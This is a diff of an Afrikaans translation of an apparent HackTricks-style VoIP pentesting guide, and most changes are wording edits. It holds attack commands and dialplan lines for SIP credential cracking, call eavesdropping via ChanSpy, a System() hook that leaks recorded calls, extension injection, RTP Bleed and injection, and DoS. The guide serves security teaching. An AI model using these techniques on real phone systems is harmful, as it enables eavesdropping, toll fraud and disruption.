@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -228,7 +228,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||||
```
|
```
|
||||||
#### Ekstra Netwerk Enumerasie
|
#### Ekstra Netwerk Opsporing
|
||||||
|
|
||||||
Die PBX kan ook ander netwerkdienste blootstel soos:
|
Die PBX kan ook ander netwerkdienste blootstel soos:
|
||||||
|
|
||||||
|
@ -241,7 +241,7 @@ Die PBX kan ook ander netwerkdienste blootstel soos:
|
||||||
* **5432 (PostgreSQL)**: PostgreSQL-databasis
|
* **5432 (PostgreSQL)**: PostgreSQL-databasis
|
||||||
* En ander...
|
* En ander...
|
||||||
|
|
||||||
### Metodes Enumerasie
|
### Metodes Opsporing
|
||||||
|
|
||||||
Dit is moontlik om **watter metodes beskikbaar is** om in die PBX te gebruik deur `SIPPTS enumerate` van [**sippts**](https://github.com/Pepelux/sippts) te gebruik.
|
Dit is moontlik om **watter metodes beskikbaar is** om in die PBX te gebruik deur `SIPPTS enumerate` van [**sippts**](https://github.com/Pepelux/sippts) te gebruik.
|
||||||
```bash
|
```bash
|
||||||
|
@ -265,7 +265,7 @@ Extensions in a PBX (Private Branch Exchange) system verwys na die **unieke inte
|
||||||
```bash
|
```bash
|
||||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||||
```
|
```
|
||||||
* **`SIPPTS exten`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreekse nagaan.
|
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreekse nagaan.
|
||||||
```bash
|
```bash
|
||||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||||
```
|
```
|
||||||
|
@ -306,14 +306,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||||
|
|
||||||
### VoIP Sniffing
|
### VoIP Sniffing
|
||||||
|
|
||||||
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
|
As jy VoIP-toerusting binne 'n **Open Wifi netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
|
||||||
|
|
||||||
Tussen die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
|
Tussen die netwerk inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
|
||||||
|
|
||||||
Om hierdie inligting te verkry, kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Let daarop dat as **TLS in die SIP kommunikasie gebruik word**, jy nie die SIP kommunikasie in duidelike teks sal kan sien.\
|
Let daarop dat as **TLS in die SIP kommunikasie gebruik word** jy nie die SIP kommunikasie in duidelik sal kan sien.\
|
||||||
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
|
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -345,16 +345,16 @@ Dit is moontlik om hierdie kodes in **INFO SIP boodskappe**, in **klank** of bin
|
||||||
```bash
|
```bash
|
||||||
multimon -a DTMF -t wac pin.wav
|
multimon -a DTMF -t wac pin.wav
|
||||||
```
|
```
|
||||||
### Gratis oproepe / Asterisks verbindings misconfigurasies
|
### Gratis oproepe / Asterisks verbindings miskonfigurasies
|
||||||
|
|
||||||
In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat:
|
In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat:
|
||||||
```
|
```
|
||||||
host=10.10.10.10
|
host=10.10.10.10
|
||||||
host=dynamic
|
host=dynamic
|
||||||
```
|
```
|
||||||
As 'n IP-adres gespesifiseer word, sal die host **nie REGISTER** versoeke elke paar minute hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
|
If 'n IP-adres is gespesifiseer, sal die gasheer **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
|
||||||
|
|
||||||
Om gebruikers te definieer, kan hulle as volg gedefinieer word:
|
Om gebruikers te definieer kan hulle as volg gedefinieer word:
|
||||||
|
|
||||||
* **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang.
|
* **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang.
|
||||||
* **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)
|
* **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)
|
||||||
|
@ -362,7 +362,7 @@ Om gebruikers te definieer, kan hulle as volg gedefinieer word:
|
||||||
|
|
||||||
Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
|
Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
|
||||||
|
|
||||||
* **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer word toe.
|
* **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer word.
|
||||||
* **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie
|
* **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie
|
||||||
* **`insecure=port,invite`**: Albei
|
* **`insecure=port,invite`**: Albei
|
||||||
|
|
||||||
|
@ -377,13 +377,13 @@ Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
|
||||||
|
|
||||||
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
|
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
|
||||||
|
|
||||||
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en om skeiding tussen verskillende dele van die stelsel te bied.
|
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
|
||||||
|
|
||||||
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld:
|
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld:
|
||||||
```bash
|
```bash
|
||||||
csharpCopy code[my_context]
|
csharpCopy code[my_context]
|
||||||
```
|
```
|
||||||
Binne die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
|
Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
|
||||||
```scss
|
```scss
|
||||||
[my_context]
|
[my_context]
|
||||||
exten => 100,1,Answer()
|
exten => 100,1,Answer()
|
||||||
|
@ -411,7 +411,7 @@ Enigeen sal in staat wees om die **bediener te gebruik om na enige ander nommer
|
||||||
Boonop bevat die **`sip.conf`** lêer standaard **`allowguest=true`**, dan sal **enige** aanvaller met **geen outentisering** in staat wees om na enige ander nommer te bel.
|
Boonop bevat die **`sip.conf`** lêer standaard **`allowguest=true`**, dan sal **enige** aanvaller met **geen outentisering** in staat wees om na enige ander nommer te bel.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas.
|
* **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ons ook toelaat om die oproep na 'n tweede eksterne nommer oor te dra.
|
||||||
|
|
||||||
Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
|
Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
|
||||||
|
|
||||||
|
@ -432,10 +432,10 @@ IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnolo
|
||||||
IVRS in VoIP stelsels bestaan tipies uit:
|
IVRS in VoIP stelsels bestaan tipies uit:
|
||||||
|
|
||||||
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
|
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
|
||||||
2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
|
2. **DTMF** (Dubbeltoon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
|
||||||
3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
|
3. **Oproep roetering**: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
|
||||||
4. **Vang van gebruikersinvoer**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data.
|
4. **Gebruikersinvoer vang**: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.
|
||||||
5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
|
5. **Integrasie met eksterne stelsels**: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
|
||||||
|
|
||||||
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
|
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
|
||||||
|
|
||||||
|
@ -464,21 +464,21 @@ However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in ol
|
||||||
```scss
|
```scss
|
||||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||||
```
|
```
|
||||||
Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n **uitbreiding gebruik wat enige ooreenkoms omseil** wat uitgevoer word maar nie bestaan nie, kan hy **slegs 'n oproep na die gewenste nommer inspuit**.
|
Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n **uitbreiding gebruik wat enige ooreenkoms omseil** wat uitgevoer word, maar nie bestaan nie, kan hy **slegs 'n oproep na die gewenste nommer inspuit**.
|
||||||
|
|
||||||
## SIPDigestLeak kwesbaarheid
|
## SIPDigestLeak kwesbaarheid
|
||||||
|
|
||||||
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
|
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
|
||||||
|
|
||||||
**[Kwesbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
**[Kwetsbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||||
|
|
||||||
1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
|
1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
|
||||||
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
|
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
|
||||||
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant beantwoord nie)
|
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)
|
||||||
4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller**
|
4. Wanneer die telefoon opgehang word, stuur die **slagoffer telefoon 'n BYE na die aanvaller**
|
||||||
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
|
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
|
||||||
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
|
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
|
||||||
7. Die **aanvaller kan dan 'n brute-force aanval uitvoer** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai
|
7. Die **aanvaller kan dan 'n brute-force aanval** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai
|
||||||
|
|
||||||
* **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.
|
* **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.
|
||||||
```bash
|
```bash
|
||||||
|
@ -537,7 +537,7 @@ Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verl
|
||||||
|
|
||||||
Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor.
|
Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor.
|
||||||
|
|
||||||
In plaas daarvan om die gesprekke te luister, is dit moontlik om **hulle in lêers op te neem** deur 'n verlenging soos:
|
In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle in lêers te **registreer** deur 'n verlenging soos:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```scss
|
```scss
|
||||||
|
@ -549,7 +549,7 @@ exten => _X.,2,MixMonitor(${NAME})
|
||||||
|
|
||||||
Telefonskakels sal gestoor word in **`/tmp`**.
|
Telefonskakels sal gestoor word in **`/tmp`**.
|
||||||
|
|
||||||
Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
|
Jy kan selfs Asterisk **'n skrip uitvoer wat die oproep sal lek** wanneer dit gesluit word.
|
||||||
```scss
|
```scss
|
||||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||||
```
|
```
|
||||||
|
@ -557,7 +557,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
||||||
|
|
||||||
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **geïntcepteer en hergerig te word deur enige iemand op die Internet**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
|
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **geïntcepteer en hergerig te word deur enige iemand op die Internet**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
|
||||||
|
|
||||||
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels raak, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
|
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels raak, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering verkry is nie (bv. SIP). Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
|
||||||
|
|
||||||
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
|
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
|
||||||
|
|
||||||
|
@ -573,7 +573,7 @@ sippts rtpbleed -i 10.10.0.10
|
||||||
```bash
|
```bash
|
||||||
sippts rtcpbleed -i 10.10.0.10
|
sippts rtcpbleed -i 10.10.0.10
|
||||||
```
|
```
|
||||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
|
* **`SIPPTS rtpbleedflood`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
|
||||||
```bash
|
```bash
|
||||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||||
```
|
```
|
||||||
|
@ -583,7 +583,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||||
```
|
```
|
||||||
### RCE
|
### RCE
|
||||||
|
|
||||||
In Asterisk slaag jy op een of ander manier daarin om **uitbreidingsreëls by te voeg en dit te herlaai** (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met behulp van die **`System`** opdrag.
|
In Asterisk slaag jy op een of ander manier daarin om **uitbreidingsreëls by te voeg en dit te herlaai** (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met die **`System`** opdrag.
|
||||||
```scss
|
```scss
|
||||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||||
```
|
```
|
||||||
|
@ -611,7 +611,7 @@ As die bediener **bepaalde karakters** in die **`System`** opdrag (soos in Elast
|
||||||
|
|
||||||
Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||||
|
|
||||||
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke te skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**).
|
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke** te **skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**).
|
||||||
|
|
||||||
### DoS
|
### DoS
|
||||||
|
|
||||||
|
@ -623,9 +623,9 @@ Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.
|
||||||
* `sippts ping -i 10.10.0.10`
|
* `sippts ping -i 10.10.0.10`
|
||||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
|
